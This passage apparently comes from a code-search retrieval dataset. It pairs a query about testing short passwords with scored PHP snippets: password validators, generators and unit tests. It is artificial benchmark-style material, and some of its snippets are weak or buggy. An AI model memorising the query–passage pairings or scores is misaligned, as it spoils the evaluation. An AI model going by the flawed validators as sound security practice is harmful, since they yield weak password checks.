return $body;\n\t}", "title": "" } ]
e457775723a8a9c05506c9bcc946e82f
Test password is 5 or less chars long.
[ { "docid": "0e672b68ec724085b77767af37c7008c", "score": "0.6669557", "text": "public function testRegisterShortPassword() {\n $generic = new GenericValidationTests($this);\n $generic->testMinStringAttribute('register', 'POST', self::$headers, self::$body, 'password', 6, 'password_confirmation');\n }", "title": "" } ]
[ { "docid": "4ae6bf022cfb232bbe83468b8d3998e2", "score": "0.79906833", "text": "public function testLongPassword ()\n {\n // Function parameters\n $length = 20;\n $minPasswordRequirements = [];\n // Helper\n $securityHelper = new SecurityHelper(new Security()); // Empty security (it does not matter)\n // Check password correctness\n $ok = true;\n for ($i = 0; $i < self::ITERATIONS; $i++) {\n $password = $securityHelper->generatePassword($length, $minPasswordRequirements);\n $result = preg_match('/\\A[0-9a-zA-Z!#$%&*+,-.:;<=>?@_~]{20,}\\z/', $password);\n if ($result === 0) {\n $ok = false;\n break;\n }\n }\n $this->assertTrue($ok);\n }", "title": "" }, { "docid": "442898500365e25b09b67e671981e0e0", "score": "0.77732", "text": "function checkLength($password)\n{\n return strlen($password) >= MIN_PASSWORD;\n}", "title": "" }, { "docid": "55fb2320027fff06f46e4761672165f3", "score": "0.7618374", "text": "public function validatePassword()\n {\n $result = false;\n if (strlen($this->password) >= 5) {\n $result = true;\n }\n return $result;\n }", "title": "" }, { "docid": "5ad7e65270c50f1aa906c98918e9b012", "score": "0.75996906", "text": "public function testInvalidLengthPassword()\n {\n $password = \"23d3\";\n $response = $this->user->isValidPassword($password);\n\n $this->assertFalse($response);\n }", "title": "" }, { "docid": "e2790dd2b8639975084a05f1476d9103", "score": "0.7595272", "text": "static function valid_password($input) {\n return strlen($input) > 5 && trim($input) === $input;\n }", "title": "" }, { "docid": "6ca3ea6304a6727bffe58f470c4c6546", "score": "0.75783825", "text": "public function testGeneratePassword() {\n // Asking for a password 15 characters long\n $password = security::generate_password( 15 );\n\n // Make sure it's 15 characters\n $this->assertEquals( 15, strlen( $password ) );\n }", "title": "" }, { "docid": "1081db8d7b8e7c321db10a696606f19a", "score": "0.7512245", "text": "public function testValidLengthPassword()\n {\n $password = \"accepted\";\n\n $response = $this->user->isValidPassword($password);\n\n $this->assertTrue($response);\n }", "title": "" }, { "docid": "f0bc9cc90afbf5ed85d136202c0a1225", "score": "0.74367195", "text": "function isValidPassword($password)\n{\n $len = strlen($password);\n if ($len < MIN_PASSWORD) {\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "4d6257c0274a4dc1e86e96a9e5a2be0d", "score": "0.7432866", "text": "public function testBugReport2605()\n {\n $password = Text_Password::create(7, 'unpronounceable', '1,3,a,Q,~,[,f');\n $this->assertTrue(strlen($password) == 7);\n }", "title": "" }, { "docid": "92f9a05acc6a80a12a4eeb868a00d1c9", "score": "0.740243", "text": "function testGeneratePassword() {\r\n $this->User = new User();\r\n \t\t$pass = $this->User->generatePassword(); \t\r\n \t$this->assertNotNull($pass);\r\n \t$this->assertPattern('#[a-zA-Z0-9]{6,15}#', $pass, 'Password is not between 6 and 15 chars long');\r\n }", "title": "" }, { "docid": "451be374c0e6a8cf1e9d4bdadbae5bf7", "score": "0.7389603", "text": "private function valid_password() {\n return (strlen($this->password) == 6);\n }", "title": "" }, { "docid": "d0a4554f838d1cd46eb96e8a4701d25a", "score": "0.7252938", "text": "public function testRegisterLongPassword() {\n $generic = new GenericValidationTests($this);\n $generic->testMaxStringAttribute('register', 'POST', self::$headers, self::$body, 'password', 30, 'password_confirmation');\n }", "title": "" }, { "docid": "cb8dc6d8f5a852bfb3d0b9e52a787bcb", "score": "0.7232986", "text": "public function testGenerateLength()\n {\n $length = mt_rand(10, 1000);\n $password = PasswordGenerator::generate($length, PasswordGenerator::PASSWORD_HARD);\n $passwordLength = mb_strlen($password);\n\n $this->assertEquals($length,$passwordLength);\n }", "title": "" }, { "docid": "7ff2414abf305e4284cad9de1d0d31c4", "score": "0.71380776", "text": "public function testGenerateLength()\n {\n $length = mt_rand(10, 1000);\n $password = PasswordGenerator::generate($length, PasswordGenerator::PASSWORD_STRENGTH_HARD);\n $passwordLength = mb_strlen($password);\n\n $this->assertEquals($length, $passwordLength);\n }", "title": "" }, { "docid": "2bbfad6599adeac408c8523f9d0225a1", "score": "0.7104823", "text": "function pwdLongEnough($password) {\n $result=true;\n if(strlen($password) < 8){\n $result =false;\n } \n else {\n $result = true;\n }\n return $result;\n}", "title": "" }, { "docid": "3d1877e4686a60afab4987db0a75e8d5", "score": "0.70968115", "text": "public static function validPassword ($length = 6)\r\n\t{\r\n\t\t# Check that the URL contains an activation key string of exactly 6 lowercase letters/numbers\r\n\t\treturn (preg_match ('/^[a-z0-9]{' . $length . '}$/D', (trim ($_SERVER['QUERY_STRING']))));\r\n\t}", "title": "" }, { "docid": "2ce2a8621c424e1469c64f67e6d5d163", "score": "0.70912033", "text": "function validatePassword() : bool\n {\n if($this->Password && preg_match('/^[[:alnum:]]{6,20}$/', $this->Password)) // solo numeri-lettere da 6 a 20\n {\n return true;\n }\n else\n return false;\n }", "title": "" }, { "docid": "1b1e11db81c7c8ff50cac813ef6e3e52", "score": "0.7078493", "text": "function passwordLength($wachtwoordbevestiging) {\n\t$count = 0;\n\n\tfor($i = 0; $i < strlen($wachtwoordbevestiging); $i++) { \n\t\tif($wachtwoordbevestiging[$i] != ' ') \n\t\t\t$count++; \n\t}\n\n\tif ($count < 6) {\n\t\t$result = true;\n\t} else {\n\t\t$result = false;\n\t}\n\treturn $result;\n}", "title": "" }, { "docid": "e104821edc248ac2ec35cb8fa2f574a5", "score": "0.70704174", "text": "public function checkPasswordMinLength($password)\n {\n if (strlen($password) < 5) {\n return false;\n } else return true;\n }", "title": "" }, { "docid": "6bba24b95e127c6ed352aeeadb1768ce", "score": "0.6988141", "text": "public function testRegistrationPasswordLessChars()\n {\n $this->browse(function (Browser $browser) {\n $browser->visit('/add_user')\n ->type('username', 'Tester1')\n ->type('first_name', 'Test')\n ->type('last_name', 'User')\n ->type('password', 'a1')\n ->type('password_confirmation', 'a1')\n ->click('button[type=\"submit\"]')\n\n // we're still on the registration page\n ->waitForText('The password must be at least 6 characters.')\n ->assertSee('The password must be at least 6 characters.');\n });\n }", "title": "" }, { "docid": "d77d4dafad8080c7cd2cba828542cdee", "score": "0.69541055", "text": "function validatePassword($pwd) {\r\n\t\treturn (strlen($pwd) >= 6 && preg_match_all(\"/[0-9]/\", $pwd) >= 2);\r\n\t}", "title": "" }, { "docid": "3fffc7fe472f91fdbaa36414bfa59f0a", "score": "0.69498056", "text": "function check_password($password)\n{\n if (strlen($password) < 8) {\n throw new Exception(\"password_short.\", 1);\n return false;\n }\n if (!preg_match(\"/[0-9]{1,}/\", $password) || !preg_match(\"/[A-Z]{1,}/\", $password)) {\n throw new Exception(\"password_bad\", 1);\n return false;\n }\n return true;\n}", "title": "" }, { "docid": "a30f30ad7b6b6efcee808e9aa0c0912b", "score": "0.6925528", "text": "public function validatePassword($value)\n {\n $value = $this->validateValue($value);\n\n $pattern = '/^([a-zA-Z]|[0-9]){5,15}$/';\n if (preg_match($pattern, $value)) {\n return $value;\n } else {\n $this->addMessage($this->textMessages[1]);\n return false;\n }\n }", "title": "" }, { "docid": "52d05f2fb9f85cf34cb38c94383f247a", "score": "0.6910715", "text": "function password_security($tested_password){\r\n $isSecured = false;\r\n $contains_letter = preg_match('/[a-zA-Z]/', $tested_password);\r\n $contains_capital = preg_match('/[A-Z]/', $tested_password);\r\n $contains_digit = preg_match('/\\d/', $tested_password);\r\n $contains_special = preg_match('/[^a-zA-Z\\d]/', $tested_password);\r\n\r\n $contains_all = $contains_letter && $contains_capital && $contains_digit && $contains_special;\r\n\r\n if (strlen($tested_password) >= 8 && $contains_all == \"1\") {\r\n $isSecured = true;\r\n }\r\n return $isSecured;\r\n}", "title": "" }, { "docid": "5b887a710ba8530e3e41f8fa78d4a0bc", "score": "0.6908165", "text": "public function testManySpecialCharacter ()\n {\n // Function parameters\n $length = 10;\n $minPasswordRequirements = [\n 'min' => 10,\n 'special' => 6,\n 'digit' => 1,\n 'upper' => 1,\n ];\n // Helper\n $securityHelper = new SecurityHelper(new Security()); // Empty security (it does not matter)\n // Check password correctness\n $ok = true;\n for ($i = 0; $i < self::ITERATIONS; $i++) {\n $password = $securityHelper->generatePassword($length, $minPasswordRequirements);\n $result = preg_match('/\\A(?=(.*\\d){1})(?=(?:[^A-Z]*[A-Z]){1})(?=(?:[0-9a-zA-Z]*[!#$%&*+,-.:;<=>?@_~]){6})[0-9a-zA-Z!#$%&*+,-.:;<=>?@_~]{10,}\\z/', $password);\n if ($result === 0) {\n $ok = false;\n break;\n }\n }\n $this->assertTrue($ok);\n }", "title": "" }, { "docid": "ed8ea2011ff985636f43542a6c4a354a", "score": "0.68734974", "text": "function is_valid_password($password)\n{\n if (is_null($password) || strlen($password) < 6 || strlen($password) > 40)\n {\n return false;\n }\n $pattern = \"/^[a-z0-9~`!@#\\$%\\^&\\*\\-_\\+=\\(\\)\\{\\}\\[\\]\\|:;\\\"\\'\\<\\>\\.,\\?\\/]{6,40}$/i\";\n\n return (preg_match($pattern, $password) == 1);\n}", "title": "" }, { "docid": "3c0e33b378ccfb640175ccf28133e9b7", "score": "0.6872471", "text": "public function test_aprmd5_password()\n {\n $password = 'latik';\n $hash = '$apr1$ldcLQbqG$cJpEYvIA5jE7DpoTV7Pok1';\n\n $this->assertTrue(Hash::check($password, $hash));\n }", "title": "" }, { "docid": "a741898fb4fce6afc6fc98b7f57a021a", "score": "0.6872463", "text": "private function pre_defined_password(): string\r\n {\r\n $regx = \"/^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[#$@!%&*?])[A-Za-z\\d#$@!%&*?]{6,30}$/\";\r\n if (!preg_match($regx, $this->field)) {\r\n return $this->message(\"must 1 uppercase, lowercase, number & special char\");\r\n }\r\n }", "title": "" }, { "docid": "ed0af2c8442957da0fe2085e749ffc20", "score": "0.6863596", "text": "function generate_random_password($len = 8)\n {\n }", "title": "" }, { "docid": "3f7144d69d90487b24cefd5d4c2aec72", "score": "0.6835207", "text": "public function checkPasswordMaxLength($password)\n {\n if (strlen($password) > 20) {\n return false;\n } else return true;\n }", "title": "" }, { "docid": "b1be0e338076a4e11c94d74676036dcc", "score": "0.68294257", "text": "private function checkSymbolLength(): bool\n {\n $passwordLength = strlen($this->password);\n if ($passwordLength > 6) {\n return true;\n }\n array_push($this->errorMessages, \"Please add atleast \" . 7 - $passwordLength . \" characters to your password\");\n return false;\n }", "title": "" }, { "docid": "d9af014356d5c196d66e72d159e4e9df", "score": "0.6812498", "text": "function passwordGood($pass) {\n\t// default encoding/encoding specified in php.ini for nginx's php fpm module\n\t// is 'UTF-8'\n\t$len = mb_strlen($pass);\n\t//$len = strlen($pass);\n\t// original code of ($len >= 8 && $len <= 24) doesn't seem to work since I think\n\t// when true these return 1, when false they seem to return nothing, when printed empty string\n\t// be careful, these seem to return nothing or they don't print properly\n\t// this does work though :P\n\tif ( ( $len < 8 ) || ( $len > 24 ) ) {\n\t\treturn false;\n\t} else {\n\t\treturn true;\n\t}\n}", "title": "" }, { "docid": "1f56361d071fc3bf509eaa13018c43ad", "score": "0.6799997", "text": "protected function isPasswordTooLong($password)\r\n {\r\n return strlen($password) > static::MAX_PASSWORD_LENGTH;\r\n }", "title": "" }, { "docid": "f71e4597a0c2d270d7b0e9cee128672e", "score": "0.67914903", "text": "function isEqual($length) {\n $password = \"This is a secret password!\";\n if(strlen($password) == $length) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "ec84d9f7a8992f99d77f70c0cf14ea3a", "score": "0.6780899", "text": "static public function isPasswd($passwd, $size = 5)\n {\n return preg_match('/^[.a-z_0-9-]{'.$size.',32}$/ui', $passwd);\n }", "title": "" }, { "docid": "bd091b72ec8d821763cd66e08953feee", "score": "0.67118764", "text": "function validatePassword($value){\n if (is_int($value)) throw new Exception (\"Password must consist of letters and, if needed, numbers\"); #PASS (Check the string to int if all are numbers)\n $passwordMinLength=7;\n $passwordMaxLength=18;\n if (strlen($value)<=$passwordMinLength || strlen($value)>=$passwordMaxLength){\n throw new Exception (\"Wrong password length. It must be >\".$passwordMinLength.\" and <\".$passwordMaxLength.\" in size\");\n //return;\n } else{\n //throw new Exception (\"Wrong password length. It must be >\".$passwordMinLength.\" and <\".$passwordMaxLength.\" in size\");\n }\n //return;\n}", "title": "" }, { "docid": "7886de030657372955a7b146c345e82d", "score": "0.67010677", "text": "function checkPassword($clientPassword)\n{\n $pattern = '/^(?=.*[[:digit:]])(?=.*[[:punct:]])(?=.*[A-Z])(?=.*[a-z])([^\\s]){8,}$/';\n return preg_match($pattern, $clientPassword);\n}", "title": "" }, { "docid": "dc4a674e4afe46b969b637c217b7336f", "score": "0.6698357", "text": "public function testPasswordIsValid($data)\n {\n $pattern = \"/^(?=.*?[A-Z])(?=.*?[a-z])(?=.*?[0-9])(?=.*?[#?!@$%^&*-]).{8,}$/\";\n\n $this->assertMatchesRegularExpression($pattern,$data);\n\n }", "title": "" }, { "docid": "5f129261e78327c3275cfe7f41dbfd8c", "score": "0.66741735", "text": "public function check_password_strength($password){\n // Validate password strength\n $uppercase = preg_match('@[A-Z]@', $password);\n $lowercase = preg_match('@[a-z]@', $password);\n $number = preg_match('@[0-9]@', $password);\n $specialChars = preg_match('@[^\\w]@', $password);\n\n if(!$uppercase || !$lowercase || !$number || !$specialChars || strlen($password) < 8) {\n $GLOBALS['error_message'] = 'Password should be at least 8 characters in length and should include at least one upper case letter, one number, and one special character.';\n return false;\n }else{\n return true;\n }\n }", "title": "" }, { "docid": "659a0ff4ccd65d2a281a3ddb0e165f78", "score": "0.66378707", "text": "function validate_password($field) {\n\t\tif ($field == \"\") return \"No Password was entered.<br>\";\n\t\telse if (strlen($field) < 6)\n\t\t\treturn \"Password must be at least 6 characters.<br>\";\n\t\telse if (!preg_match(\"/[a-z]/\",$field) || !preg_match(\"/[A-Z]/\",$field) || !preg_match(\"/[0-9]/\",$field) )\n\t\t\treturn \"Password require one each of a-z, A-Z,0-9.<br>\";\n\t\treturn \"\";\n\t}", "title": "" }, { "docid": "4bc531f5f69be5960c5fe9179554be11", "score": "0.66313267", "text": "static function checkPasswords($input)\r\n {\r\n if (preg_match('/^[\\W\\w\\d!@#$%][\\W\\w\\d!@#$%]{8,20}$/', $input)) {\r\n return true;//Illegal Character found\r\n } else{\r\n echo PageBuilder::printError(\"Password should be between 8 to 20 characters long with alphabets, at the least one number and at the least one special characters from ! @ # $ %.\");\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "4bc531f5f69be5960c5fe9179554be11", "score": "0.66313267", "text": "static function checkPasswords($input)\r\n {\r\n if (preg_match('/^[\\W\\w\\d!@#$%][\\W\\w\\d!@#$%]{8,20}$/', $input)) {\r\n return true;//Illegal Character found\r\n } else{\r\n echo PageBuilder::printError(\"Password should be between 8 to 20 characters long with alphabets, at the least one number and at the least one special characters from ! @ # $ %.\");\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "7aaa1915c095e0264451500c38249bc4", "score": "0.66112214", "text": "function must_be_24_characters_long()\n {\n $generator = new OrderConfirmationNumberGenerator;\n\n $number = $generator->generate();\n\n $this->assertEquals(24, strlen($number));\n }", "title": "" }, { "docid": "c3408f77c0fd85abdc0a63c1f6d3ac57", "score": "0.66103286", "text": "function vPassword( $password )\r\n\t\t{\r\n\t\t\t\treturn preg_match( '/^(?=^.{8,}$)((?=.*[A-Za-z0-9])(?=.*[A-Z])(?=.*[a-z]))^.*$/', $password );\r\n\t\t\t\t\r\n\t\t}", "title": "" }, { "docid": "b3144b1e843b2d7b15ba81402f7c80ff", "score": "0.66070396", "text": "public function passwordValidate($password)\n {\n\n $length = strlen($password);\n\n if ($length < 5) {\n return false;\n } else {\n return true;\n }\n }", "title": "" }, { "docid": "13e56fa5d7e6c30ec5dc60ed6f07fd3c", "score": "0.65972435", "text": "public function checkPassword($value);", "title": "" }, { "docid": "9fbe035a967886570818e75c3a19ac00", "score": "0.65871215", "text": "function validate_password($candidate) \n{\n if (!empty($candidate))\n {\n // Declare and Initialize Local Variables\n $CritCount = 0; //Tabulator for keeping track of number of criteria matched\n\n /*\n Regular Expression Example $\\S*(?=\\S{8,})(?=\\S*[a-z])(?=\\S*[A-Z])(?=\\S*[\\d])(?=\\S*[\\W])\\S*$\n $ = beginning of string\n \\S* = any set of characters\n (?=\\S{8,}) = of at least length 8\n (?=\\S*[a-z]) = containing at least one lowercase letter\n (?=\\S*[A-Z]) = and at least one uppercase letter\n (?=\\S*[\\d]) = and at least one number\n (?=\\S*[\\W]) = and at least a special character (non-word characters)\n $ = end of the string\n\n */\n // Test for each requirement \n if (strlen($candidate) >= 8) $CritCount = $CritCount + 10; // Value of 10 for minimum length\n if (preg_match('/[a-z]/', $candidate)) $CritCount = $CritCount + 1; //Contains lower case a-z\n if (preg_match('/[A-Z]/', $candidate)) $CritCount = $CritCount + 1; //Contains UPPER case A-Z\n if (preg_match('/[\\d]/', $candidate)) $CritCount = $CritCount + 1; //Contains at least one numeric digit\n if (preg_match('/[^a-zA-Z\\d]/', $candidate)) $CritCount = $CritCount + 1; //Contains at least one special Character (!@#$%^&*()-_, etc.)\n \n if ($CritCount > 12) //Meets minimum length, plus 3 additional criteria\n {\n return TRUE;\n }\n else \n {\n return FALSE;\n }\n }\n else\n return false;\n}", "title": "" }, { "docid": "c04edb8508368240e75b5d5812605146", "score": "0.65865225", "text": "function valid_password($pwd) {\n\t\tif (!$pwd)\n\t\t\treturn FALSE;\n\t\tif (strlen($pwd) < 6)\n\t\t\treturn FALSE;\n\t\tif (!preg_match('/[a-zA-Z]+/', $pwd) || !preg_match('/[0-9]+/', $pwd))\n\t\t\treturn FALSE;\n\t\treturn TRUE;\n\t}", "title": "" }, { "docid": "6dad46b62ef8fb38cca0999fc1dd84ec", "score": "0.65559095", "text": "function checkPassword($clientPassword){\r\n $pattern = '/^(?=.*[[:digit:]])(?=.*[[:punct:]])(?=.*[A-Z])(?=.*[a-z])([^\\s]){8,}$/';\r\n return preg_match($pattern, $clientPassword);\r\n }", "title": "" }, { "docid": "c143808999dfef3332bcac87f8243a4d", "score": "0.6553577", "text": "public function testManyLowercaseCharacter ()\n {\n // Function parameters\n $length = 8;\n $minPasswordRequirements = [\n 'min' => 10,\n 'special' => 1,\n 'digit' => 1,\n 'upper' => 1,\n 'lower' => 5\n ];\n // Helper\n $securityHelper = new SecurityHelper(new Security()); // Empty security (it does not matter)\n // Check password correctness\n $ok = true;\n for ($i = 0; $i < self::ITERATIONS; $i++) {\n $password = $securityHelper->generatePassword($length, $minPasswordRequirements);\n $result = preg_match('/\\A(?=(.*\\d){1})(?=(?:[^a-z]*[a-z]){5})(?=(?:[^A-Z]*[A-Z]){1})(?=(?:[0-9a-zA-Z]*[!#$%&*+,-.:;<=>?@_~]){1})[0-9a-zA-Z!#$%&*+,-.:;<=>?@_~]{10,}\\z/', $password);\n if ($result === 0) {\n $ok = false;\n break;\n }\n }\n $this->assertTrue($ok);\n }", "title": "" }, { "docid": "01c3b3719e9bd01aaecbad8159439f81", "score": "0.6543315", "text": "public static function _password($value)\n\t{\n\t\treturn preg_match(self::passwordRegExp, $value);\n\t}", "title": "" }, { "docid": "abb4d6dc19c08905084bfa9d88a4be6e", "score": "0.6539144", "text": "public function authenticationWithValidNumericCharClassPassword() {}", "title": "" }, { "docid": "abb4d6dc19c08905084bfa9d88a4be6e", "score": "0.6539144", "text": "public function authenticationWithValidNumericCharClassPassword() {}", "title": "" }, { "docid": "abb4d6dc19c08905084bfa9d88a4be6e", "score": "0.6539144", "text": "public function authenticationWithValidNumericCharClassPassword() {}", "title": "" }, { "docid": "b84b99967d44d8667c2a57b1aa3c77ae", "score": "0.65378994", "text": "function nrua_check_password($pwd) {\n\t$errors = [];\n\t\n\tif (strlen($pwd) < 8) {\n\t$errors[] = \"Password too short!\";\n\t}\n\t\n\tif (!preg_match(\"#[0-9]+#\", $pwd)) {\n\t$errors[] = \"Password must include at least one number!\";\n\t}\n\t\n\tif (!preg_match(\"#[a-zA-Z]+#\", $pwd)) {\n\t$errors[] = \"Password must include at least one letter!\";\n\t}\n\t\n\treturn $errors;\n}", "title": "" }, { "docid": "6fe30952d1dc089f843215ceb0fa8a12", "score": "0.65233034", "text": "function minimum_password_limit( & $errors ) {\r\n\t$min_length = 12;\r\n\tif ( !empty( $_POST['pass1'] ) && $_POST['pass1'] === $_POST['pass2'] && !preg_match('/^.*(?=.{12,})(?=.*\\d)(?=.*[a-z])(?=.*[A-Z]).*$/', $_POST['pass1']) ) {\r\n\t\t$errors->add( 'min_pass_length', sprintf( __( '<strong>Security advice</strong>: Your password must be at least %d characters long and have at least one capital letter and one number in it.' ), $min_length ), array( 'form-field' => 'pass1' ) );\r\n\t}\r\n}", "title": "" }, { "docid": "d357c9bef8886f81e2daed0555292704", "score": "0.65205884", "text": "function testPasswordErr($password) {\n if (empty($password)) {\n $passwordErr = 'Password required';\n } else {\n $password = test_input($password);\n //VALIDATE PASSWORD\n if (!filter_var($password, FILTER_VALIDATE_REGEXP, array(\"options\" => array(\"regexp\" => \"((?=.*\\d)(?=.*[a-z])(?=.*[A-Z]).{4,10})\")))) {\n //da 4 a 10 caratteri, deve contenere maiuscole, minuscole e numeri\n $passwordErr = \"Invalid Password format\";\n } else\n $passwordErr = \"*\";\n }\n return $passwordErr;\n }", "title": "" }, { "docid": "b362aac7e4e3d1853d74706a0cbd5ef5", "score": "0.6509367", "text": "public function test_users_store_long_password_error(){\n $this->signInUser();\n $this->user['password'] = str_repeat('A', 256);\n $response = $this->post(route('users.store'), $this->user); \n $response->assertSessionHasErrors(['password']);\n }", "title": "" }, { "docid": "ae71ac34c07ce9479869b8b617006eeb", "score": "0.65066504", "text": "public function testCheckPassword()\n {\n $hasher = new PasswordHash(8, true);\n\n $testHash = '$P$BbD1flG/hKEkXd/LLBY.dp3xuD02MQ/';\n $testCorrectPassword = 'test123456!@#';\n $testIncorrectPassword = 'test123456!#$';\n\n $this->assertTrue($hasher->CheckPassword($testCorrectPassword, $testHash));\n $this->assertFalse($hasher->CheckPassword($testIncorrectPassword, $testHash));\n }", "title": "" }, { "docid": "1764136d09151c730ea37b7dc611601e", "score": "0.6475643", "text": "function checkPassword($password, $username = false) {\n $length = strlen($password);\n\n if ($length < 8) {\n return FALSE;\n } elseif ($length > 32) {\n return FALSE;\n } else {\n\n//check for a couple of bad passwords:\n if ($username && strtolower($password) == strtolower($username)) {\n return FALSE;\n } elseif (strtolower($password) == 'password') {\n return FALSE;\n } else {\n\n preg_match_all(\"/(.)\\1{2}/\", $password, $matches);\n $consecutives = count($matches[0]);\n\n preg_match_all(\"/\\d/i\", $password, $matches);\n $numbers = count($matches[0]);\n\n preg_match_all(\"/[A-Z]/\", $password, $matches);\n $uppers = count($matches[0]);\n\n preg_match_all(\"/[^A-z0-9]/\", $password, $matches);\n $others = count($matches[0]);\n\n//see if there are 3 consecutive chars (or more) and fail!\n if ($consecutives > 0) {\n return FALSE;\n } elseif ($others > 1 || ($uppers > 1 && $numbers > 1)) {\n//bulletproof\n return TRUE;\n } elseif (($uppers > 0 && $numbers > 0) || $length > 14) {\n//very strong\n return TRUE;\n } else if ($uppers > 0 || $numbers > 2 || $length > 9) {\n//strong\n return TRUE;\n } else if ($numbers > 1) {\n//fair\n return FALSE;\n } else {\n//weak\n return FALSE;\n }\n }\n }\n return $returns;\n}", "title": "" }, { "docid": "c89681995b0a9de090804dad36660e8f", "score": "0.64657944", "text": "public static function checkPassword($password)\r\n {\r\n if (strlen($password) >= 6) {\r\n return true;\r\n }\r\n return false;\r\n }", "title": "" }, { "docid": "fa39587aaee7752cb03933e9da5a45e1", "score": "0.64646786", "text": "function generatePassword ($length = 8)\n{\n $string = implode(\"\", range(\"a\", \"z\")) . implode(\"\", range(0, 9));\n $max = strlen($string) - 1;\n $pwd = \"\";\n\n while ($length--)\n {\n $pwd .= $string[ mt_rand(0, $max) ];\n }\n\n\n return $pwd;\n}", "title": "" }, { "docid": "e92855319fdff4f7001655924e0fb16f", "score": "0.6459184", "text": "function validatePasswordLength(&$Model, $data, $compare) {\r\n\t\t$key = key($data);\r\n\t\t$value = $data[$key];\r\n\t\t$compare = $Model->data[$Model->alias][$this->settings[$Model->alias]['fields']['password']];\r\n\t\t$length = strlen($compare);\r\n\t\tif ($length < $this->settings[$Model->alias]['passwordPolicies'][$this->settings[$Model->alias]['passwordPolicy']]['length']) {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "c8b31c456e04ba1f72d0ff9061825bf6", "score": "0.6434959", "text": "function validate_password($password)\n {\n $reg1='/[A-Z]/'; //Upper case Check\n $reg2='/[a-z]/'; //Lower case Check\n $reg3='/[^a-zA-Z\\d\\s]/'; // Special Character Check\n $reg4='/[0-9]/'; // Number Digit Check\n $reg5='/[\\s]/'; // Number Digit Check\n\n if(preg_match_all($reg1,$password, $out)<1) \n return \"There should be atleast one Upper Case Letter...\";\n\n if(preg_match_all($reg2,$password, $out)<1) \n return \"There should be atleast one Lower Case Letter...\";\n\n if(preg_match_all($reg3,$password, $out)<1) \n return \"There should be atleast one Special Character...\";\n\n if(preg_match_all($reg4,$password, $out)<1) \n return \"There should be atleast one numeric digit...\";\n \n if(preg_match_all($reg5,$password, $out)>=1) \n return \"Spaces are not allowed...\";\n\n if(strlen($password) <= 8 || strlen($password) >= 16 ) \n return \"Password Length should be between 8 and 16\";\n\n return \"OK\";\n }", "title": "" }, { "docid": "15848a69a45a8146073dada948333f7d", "score": "0.64275855", "text": "function isValidPassword($password){\n $hasLower = false;\n $hasDigit = false;\n $hasUpper = false;\n\n if(strlen($password) >= 8 && strlen($password) <= 20){\n $splitStringArray = str_split($password);\n\n for($i = 0; $i < count($splitStringArray); $i++){\n if(ctype_lower($splitStringArray[$i])){\n $hasLower = true;\n }\n else if(ctype_digit($splitStringArray[$i])){\n $hasDigit = true;\n }\n else if(ctype_upper($splitStringArray[$i])){\n $hasUpper = true;\n }\n if($hasLower && $hasDigit && $hasUpper){\n return true;\n }\n }\n }\n return false;\n }", "title": "" }, { "docid": "2f77ce4fe86b6cb67076349e2766c75b", "score": "0.6420064", "text": "public static function isWeakPassword($password)\n {\n return strlen($password) < 8;\n }", "title": "" }, { "docid": "519e90c5b1340beb27285ac50726431f", "score": "0.64096475", "text": "function wp_generate_password($length = 12, $special_chars = \\true, $extra_special_chars = \\false)\n {\n }", "title": "" }, { "docid": "c2e286d17a56c6f2550b4f4f694227dd", "score": "0.6404506", "text": "public static function checkPassword($password)\n {\n if (strlen($password) >= 6) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "86f8de74b0ae70acea4a9166595d5328", "score": "0.6400833", "text": "function generatePassword($l = 8, $c = 0, $n = 0, $s = 0) {\n $count = $c + $n + $s;\n\n // sanitize inputs; should be self-explanatory\n if (!is_int($l) || !is_int($c) || !is_int($n) || !is_int($s)) {\n trigger_error('Argument(s) not an integer', E_USER_WARNING);\n return false;\n } elseif ($l < 0 || $l > 20 || $c < 0 || $n < 0 || $s < 0) {\n trigger_error('Argument(s) out of range', E_USER_WARNING);\n return false;\n } elseif ($c > $l) {\n trigger_error('Number of password capitals required exceeds password length', E_USER_WARNING);\n return false;\n } elseif ($n > $l) {\n trigger_error('Number of password numerals exceeds password length', E_USER_WARNING);\n return false;\n } elseif ($s > $l) {\n trigger_error('Number of password capitals exceeds password length', E_USER_WARNING);\n return false;\n } elseif ($count > $l) {\n trigger_error('Number of password special characters exceeds specified password length', E_USER_WARNING);\n return false;\n }\n\n // all inputs clean, proceed to build password\n // change these strings if you want to include or exclude possible password characters\n $chars = \"abcdefghijklmnopqrstuvwxyz\";\n $caps = strtoupper($chars);\n $nums = \"0123456789\";\n $syms = \"!@#$%^&*()-+?\";\n\n // build the base password of all lower-case letters\n for ($i = 0; $i < $l; $i++) {\n $out .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);\n }\n\n // create arrays if special character(s) required\n if ($count) {\n // split base password to array; create special chars array\n $tmp1 = str_split($out);\n $tmp2 = array();\n\n // add required special character(s) to second array\n for ($i = 0; $i < $c; $i++) {\n array_push($tmp2, substr($caps, mt_rand(0, strlen($caps) - 1), 1));\n }\n for ($i = 0; $i < $n; $i++) {\n array_push($tmp2, substr($nums, mt_rand(0, strlen($nums) - 1), 1));\n }\n for ($i = 0; $i < $s; $i++) {\n array_push($tmp2, substr($syms, mt_rand(0, strlen($syms) - 1), 1));\n }\n\n // hack off a chunk of the base password array that's as big as the special chars array\n $tmp1 = array_slice($tmp1, 0, $l - $count);\n // merge special character(s) array with base password array\n $tmp1 = array_merge($tmp1, $tmp2);\n // mix the characters up\n shuffle($tmp1);\n // convert to string for output\n $out = implode('', $tmp1);\n }\n\n return $out;\n}", "title": "" }, { "docid": "8c1cdf0098b82d584444c14dedf2b368", "score": "0.6399627", "text": "public function isPassword($password);", "title": "" }, { "docid": "7cc82c095df40b0a07a0876c54c213dc", "score": "0.63985676", "text": "public function validateLogin()\n {\n $result = false;\n if (strlen($this->login) >= 5) {\n $result = true;\n }\n return $result;\n }", "title": "" }, { "docid": "e577aff33cc777d665ff4e9aa6a90b70", "score": "0.6388459", "text": "public static function isPasswd($passwd, $size = 6)\n {\n return (Tools::strlen($passwd) >= $size && Tools::strlen($passwd) < 255);\n }", "title": "" }, { "docid": "ee6833bbdce59bfa92432782696ccf61", "score": "0.6385019", "text": "function checkPassword($errorString) {\n if(strlen($_POST[\"password\"]) < 6 || strlen($_POST[\"password\"]) > 15) { // (1,2)\n return $errorString.\"Heslo musí být dlouhé alespoň <b>6</b> 